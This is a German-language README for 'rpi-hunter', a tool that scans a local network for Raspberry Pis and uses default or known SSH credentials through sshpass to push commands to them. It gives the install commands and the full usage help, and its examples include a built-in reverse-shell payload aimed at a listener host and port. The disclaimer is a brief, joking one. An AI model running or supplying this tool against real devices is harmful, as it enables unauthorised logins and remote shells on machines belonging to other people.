rpi-hunter

• Automatisiertes Finden und Ausliefern von Payloads an LAN-Raspberry Pis per SSH
• Oder der ehrliche Titel: Automatisierung von sshpass für die Befehlsauslieferung.

Rpi-hunter ist nützlich, wenn sich mehrere Raspberry Pis mit Standard- oder bekannten Anmeldedaten in Ihrem LAN befinden, um das Senden von Befehlen/Payloads an diese zu automatisieren.

ANLEITUNG:

Installation

1. Abhängigkeiten installieren: sudo pip install -U argparse termcolor und sudo apt -y install arp-scan tshark sshpass
2. Rpi-hunter herunterladen: git clone https://github.com/BusesCanFly/rpi-hunter
3. In das Verzeichnis rpi-hunter wechseln: cd ./rpi-hunter
4. rpi-hunter.py ausführbar machen: chmod +x rpi-hunter.py

• Einzeilige Variante: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

Verwendung

Schauen Sie sich dieses tolle Video und den zugehörigen Artikel an, die von den Leuten bei NullByte erstellt wurden!

• Hinweis: Für die Neulinge: Ich habe ein paar Aktualisierungen an rpi-hunter vorgenommen, um einige Fehler zu beheben und weitere Funktionen hinzuzufügen :) Wenn Sie den Befehl ./rpi-hunter.py ausführen, wird automatisch Ihr gesamtes lokales Netzwerk gescannt und der Befehl whoami auf allen gefundenen Raspberry Pis ausgeführt.

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• Führen Sie ./rpi-hunter.py --list aus, um die verfügbaren Payloads anzuzeigen.

• Payloads können entweder über den Payload-Namen aus --list oder als rohe Eingabe angegeben werden.

  • z. B. --payload reverse_shell oder --payload [Ihr CLI-Befehl hier]

• Beispielverwendung:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • Hinweis: Nur der Payload "reverse_shell" erfordert die Flags -H und -P.
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • Hinweis: Achten Sie darauf, Sonderzeichen mit einem \ zu escapen.

Haftungsausschluss:

Es gilt der übliche Internet-Spaß-Haftungsausschluss. Begehen Sie keine Straftaten, handeln Sie verantwortungsbewusst.

Ich übernehme keinerlei Verantwortung für alles, was Sie mit rpi-hunter tun.